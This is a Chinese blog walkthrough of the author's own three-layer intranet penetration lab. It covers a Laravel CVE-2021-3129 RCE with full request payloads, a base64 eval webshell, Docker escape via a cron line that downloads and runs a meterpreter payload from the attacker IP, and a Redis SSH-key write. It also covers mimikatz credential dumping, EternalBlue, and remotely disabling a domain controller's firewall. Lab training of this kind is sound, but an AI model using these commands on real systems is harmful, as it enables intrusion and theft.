本文转自我的Freebuf:https://www.freebuf.com/articles/network/264560.html
我的博客:https://whoamianony.top/

@[toc]

前言

假期马上结束了,闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的,质量自以为还可以。

目前此靶场已在vulnstack开源,下载链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

文中若有不当之处还请各位大佬多多点评

我的博客:https://whoamianony.top/

整个靶场的网络环境分为三层。从最初的信息收集、外网初探、攻入内网、搭建代理,横向移动,最终拿下域控。整个靶场所涉及的技术点大致如下:

  • 信息收集:

    • 端口扫描
    • 端口服务识别

    漏洞利用:

    • 漏洞搜索与利用
    • Laravel Debug mode RCE(CVE-2021-3129)漏洞利用
    • Docker逃逸
    • 通达OA v11.3 漏洞利用
    • Linux环境变量提权
    • Redis 未授权访问漏洞
    • Linux sudo权限提升(CVE-2021-3156)漏洞利用
    • SSH密钥利用
    • Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用
    • MS14-068漏洞利用

    构建隧道:

    • 路由转发与代理
      • 二层网络代理
      • 三层网络代理

    横向移动:

    • 内网(域内)信息收集
    • MS17-010
    • Windows系统NTLM与用户凭据获取
    • SMB Relay攻击
    • Psexec远控利用
    • 哈希传递攻击(PTH)
    • WMI利用
    • DCOM利用

    权限维持:

    • 黄金票据
    • 白银票据
    • Sid History

整个网络环境的拓扑图大致如下:


第二层网络中的所有主机皆可以上网,但是位于第三层网络中的所有主机都不与外网相连通,不能上网。

外网渗透

假设渗透的目标客户只给出了一个域名:www.whopen.com,下面我们要在黑盒的情况下对目标网络进行渗透,最终需要拿下域控制器权限。

直接访问该域名,发现是一个博客的站点:

随便翻翻除了文章写得还不错以外没有发现什么,emmmm......

信息收集

首先得到目标网站的IP为192.168.1.8,然后直接对目标IP进行端口扫描:

nmap -T4 -sC -sV 192.168.1.8


如上图,目标除了80端口外还开启了22、81和6379端口。查看81端口:

发现是个Laravel的站点,Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。

而在2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

目标站点的Laravel版本正好在今年刚爆出来的Laravel Debug mode RCE漏洞(CVE-2021-3129)的范围内,该漏洞的体用可以看我的这一篇文章:《Laravel Debug mode RCE(CVE-2021-3129)漏洞复现》 ,下面我们尝试进行初步的攻击。

Laravel Debug mode RCE漏洞利用

(1)首先使用 phpggc 工具生成一条laravel中存在的反序列化利用POC(经过编码后的):

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:


(2)发送如下数据包,将Laravel的原日志文件laravel.log清空:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 328

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

(3)发送如下数据包,给Log增加一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 163

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "AA"
  }
}

(4)将之前生成的编码后的POC作为viewFile的值,发送数据包:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 5058

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=......2B=00=57=00=61=00=63=00=4E=00=67=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
  }
}

(5)发送如下数据包,清空对log文件中的干扰字符,只留下POC:

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 299

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

这一步可能会出现异常,导致无法正确清理Log文件。如果出现这种状况,可以重新从第一步开始尝试。

(6)使用 phar:// 进行反序列化,执行任意代码(此时需要使用绝对路径):

POST /_ignition/execute-solution HTTP/1.1
Host: 192.168.1.8:81
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

如下图所示,PHPINFO已成功执行,漏洞利用成功:

我们可以利用该漏洞写入Webshell:

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

重复上述利用步骤后,成功写入webshell并连接成功:

我们在使用蚁剑执行命令时发现目标主机的主机名有点显眼,可能我们那下的shell处于一个容器环境:

使用如下命令进行测试,我们发现我们获得的shell确实运行在一个docker容器内:

cat /proc/self/cgroup


这样好吗,这样不好!下面我们需要docker逃逸来获取目标主机(docker宿主机)的权限。但此时我们所获得的是www-data用户的权限,权限比较低,干不成什么大事,所以要想办法提升一下权限。官方文档中提到了Linux环境变量提权,我们直接使用find命令来搜索具有SUID或4000权限的文件:

find / -perm -u=s -type f 2>/dev/null

通过执行上述命令,攻击者可以遍历任何可执行文件,在这里我们可以看到/home/jobs目录下有一个shell文件,这名字很显眼,并且其具有SUID权限:

于是我们cd到/home/jobs目录下,ls一下,确实看到了名为shell的可执行文件。我们运行一下这个文件:

可以看到shell文件执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

首先使用蚁剑反弹一个shell过来,然后在shell中执行如下命令:

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH 
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
# 然后就获得了root权限,可以执行命令了


如上图所示,成功提升为root权限。

之后为了方便,我们可以使用msf生成一个木马,然后上传到目标主机上执行,来获得一个metasploit的meterpreter,具体步骤略。

利用Docker runC漏洞逃逸

该漏洞(CVE-2019-5736)是2019年爆出的。在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,其允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用该漏洞需要满足以下两个条件之一:

  • 由一个攻击者控制的恶意镜像创建
  • 攻击者具有某已存在容器的写权限,且可通过docker exec进入。

首先下载攻击脚本: https://github.com/Frichetten/CVE-2019-5736-PoC

打开main.go脚本,将脚本中要在目标机上执行的命令修改为反弹shell的命令,IP为攻击机IP,端口为攻击机监听的端口:

执行命令编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将生成的利用程序main上传到目标主机并赋予权限:

接着在攻击机kali上面启动nc监听:

nc -lvp 2333

接着在目标docker上面运行main文件:

此时,只需等待目标机管理员重启该docker容器,payload就会触发。但是由于某些原因,我们手动重启docker后并未收到目标主机的shell。所以我们只能用另一种方法来逃逸。

Docker 特权模式逃逸

特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hack目录用来挂在文件:

mkdir /hack

然后 ls /dev 看到/dev目录会发现很多设备文件,

我们可以尝试将 /dev/sda1 挂载到/hack目录里:

mount /dev/sda1 /hack

如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

我们可以通过写入计划任务的方式在宿主机执行metasploit生成的命令。

首先使用metasploit的web_delivery模块生成payload命令:

use exploit/multi/script/web_delivery
set target 6    # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4444
exploit

如上图,只要将生成的命令再目标主机上执行,便可以得到目标主机的meterpreter。我们将该命令写入宿主机的计划任务中:

echo '* * * * * wget -qO KdwGEmVm --no-check-certificate http://192.168.1.7:8080/kvMOwncGb; chmod +x KdwGEmVm; ./KdwGEmVm& disown' >> /hack/var/spool/cron/root


如下图,宿主机上线meterpreter:

信息收集可得其系统版本为Ubuntu 14.04。

可怪事来了,我们查看了目标宿主机的网络配置后,仅发现了两个内网的网段“192.168.52.1/24”和“192.168.93.1/24”:

那我们访问的192.168.1.8去哪了?

难道目标网站做了反向代理?先别慌,6379端口不是还有一个redis吗,试试存不存在未授权访问吧。

直接在攻击机上连接192.168.1.8:6379上的redis,竟然成功了,毕竟是靶机,就是简单:

有了redis未授权,那么利用就简单了,我们直接往目标主机上写入SSH公钥。

先在攻击机上生成ssh公钥:

ssh-keygen -t rsa


然后将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:

(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx

// -x 代表从标准输入读取数据作为该命令的最后一个参数。


然后使用攻击机连接目标机器Redis,分别执行如下命令将ssh公钥写入目标主机:

config set dir /root/.ssh    # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys    # 设置保存文件名为authorized_keys
save    # 将数据保存在目标服务器硬盘上


写入成功后直接尝试连接:

ssh 192.168.1.8


成功连接目标主机。此时查看目标机网络信息,却发现目标主机的网络连接信息全变了,并且发现了我们刚开始访问的“192.168.1.8”,还有另一个内网IP段“192.168.52.1/24”:

系统发行版本也变为了Ubuntu 18.04.5:

看来目标网站应该是做了反向代理了,也就是说此时拿下的Ubuntu 18主机仅仅提供一个代理服务,真正的Web服务器是之前我们拿下的那台宿主机Ubuntu 14主机。为了证实我们的猜想,我查看了Ubuntu 18上的nginx配置文件:

如上图我们发现了nginx反向代理的标志——“proxy_pass”,可知Ubuntu 18服务器上的nginx把80端口上收到的请求转发给了 https://whoamianony.top,将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20,也就是我们之前Getshell的宿主机Ubuntu 14。

好了,到目前为止我们已经拿下了两台主机:

  • DMZ区域的Ubuntu 18:192.168.1.8
  • 第二层网络的Ubuntu 14:192.168.52.20


此时,绘制出网络拓扑图如下:

内网渗透

第二层网络渗透

在DMZ区域Ubuntu 18的meterpreter中添加一个通往192.168.52.1/24网段的路由:

路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建socks5反向代理服务。

在攻击机上执行如下:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

在DMZ区域的Ubuntu 18上传ew_for_linux64,并执行如下命令:

./ew_for_linux64 -s rssocks -d 192.168.1.7 -e 1234


然后配置proxychains,将socks5服务器指向127.0.0.1:1080,之后便可以使用proxychains将我们攻击机上的程序代理进第二层网络(192.168.52.1/24)了。

接着,我们使用metasploit的 auxiliary/scanner/discovery/udp_probe 模块来扫描第二层网络中的主机存活:

use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.52.1-255
set threads 5
run


如上图,发现第二层网络中还有一个主机(192.168.52.30),使用nmap进一步扫描该主机的信息:

proxychains4 nmap -Pn -sT -sV -F -O 192.168.52.30


是一台Windows主机,并且该Windows主机的8080端口上有一个nginx的http服务,在攻击机的浏览器上设置好代理后,成功访问:


是个通达OA,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。具体漏洞详情可参考:https://blog.csdn.net/szgyunyun/article/details/107104288

下面我们来利用这些漏洞执行命令。首先上传图片马:

如上图上传成功,2102是文件夹名,1811843809|shell.jpg是文件名,要把 | 修改成点。然后利用文件包含漏洞,发送如下请求:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 69
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2102/1811843809.shell.jpg"}&cmd=whoami


如上图所示,成功执行命令。

之后就是常规操作了,使用metasploit的web_delivery模块生成powershell类型的payload,直接在目标机上执行即可拿下该Windows服务器:

此时,绘制出网络拓扑图如下:

内网信息收集

拿下第二层网络中的Windows 7服务器后,接下来我们对目标内网环境进行信息收集,对目标网络有一个初步的了解:

ipconfig /all   # 查看本机ip,所在域
systeminfo      # 列出系统信息
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享

net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器(可能有多台)




综合上面收集的信息,我们可知,目标网络环境存在一个名为whoamianony.org的域环境,域控制器主机名为DC.whoamianony.org,IP为192.168.93.30,域管理员为Administrator。

抓取域用户密码

接着,我们使用meterpreter上的kiwi模块尝试抓取域用户及域管理员的密码:

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords



成功抓取到域用户bunny和域管理员administrator的凭证:

  • bunny:Bunny2021
  • administrator:Whoami2021
    ### 第三层网络渗透
    现在第二层网络已经渗透完了,我们继续入侵第三层网络(192.168.93.1/24)。

在第二层网络Windows服务器的meterpreter中添加一个通往192.168.93.1/24网段的路由:


路由转发只能将msfconsole带进内网,而要想将攻击机上的其他攻击程序也带进内网还需要搭建socks代理。我们使用earthworm搭建一个二级socks5代理服务。

首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口,执行命令:

./ew_for_linux64 -s lcx_listen -l 1090 -e 1235

然后在第二层网络的Windows服务器上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口连接起来,执行命令:

./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999


然后配置proxychains:

此时,就可以设置proxychains等代理工具,通过访问攻击机的1090端口来使用架设在第二层网络Windows主机上的socks代理服务,来进入第三层网络了。

在第二层网络Windows主机上执行ping命令扫描第三层网络中

接着,我们使用metasploit的 auxiliary/scanner/smb/smb_version 模块(可用来探测Windows主机存活)来扫描第三层网络中的主机存活:

use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.1-255
set threads 5
run


如上图,发现第三层网络中还有两个Windows主机,分别为DC(192.168.93.30)和PC2(192.168.93.40),使用nmap进一步扫描PC2主机信息:

proxychains4 nmap -Pn -sT -sV 192.168.52.40

没发现什么有用的服务,我们直接打一个“永恒之蓝”试试:

setg Proxies socks5:127.0.0.1:1090
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 4444
exploit

好家伙!真不容易。这次竟然成功了:

第四台靶机拿下:

此时,绘制出网络拓扑图如下:

进攻域控

现在就剩下域控制器DC了。既然都抓取到域管理员的密码了,那我们直接psexec登陆就得了:

use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run


失败了,应该是开了防火墙的原因。
没关系,我们已经有了域控的密码了,就可以控制第二层网络的Windows 7远程关闭域控的防火墙了。首先控制第二层网络的Windows 7与域控建立ipc连接:

net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"


然后执行如下命令,使用sc远程在域制器(192.168.93.30)上创建服务关闭防火墙:

sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"

sc \\192.168.93.30 start unablefirewall


再次尝试执行 exploit/windows/smb/psexec 模块即可成功登录:

成功拿下域控:

到现在为止,三层网络结构中的五台主机已经全部拿下了:

途中session断了好几次,差点气的吐血。

权限维持

太晚了,持久化就先不写了。。。

Ending......

2021年2月26日 04:29

魔怔了,直接玩上瘾了,一夜没睡。

夜已深,靶场打完了,从最初的信息收集、外网初探、攻入内网、搭建代理,横向移动,到最终拿下了域控。但整个靶场所涉及的漏洞点我并没有全部测试,为什么呢?因为我要睡觉。。。。。。

点击收藏 | 3 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖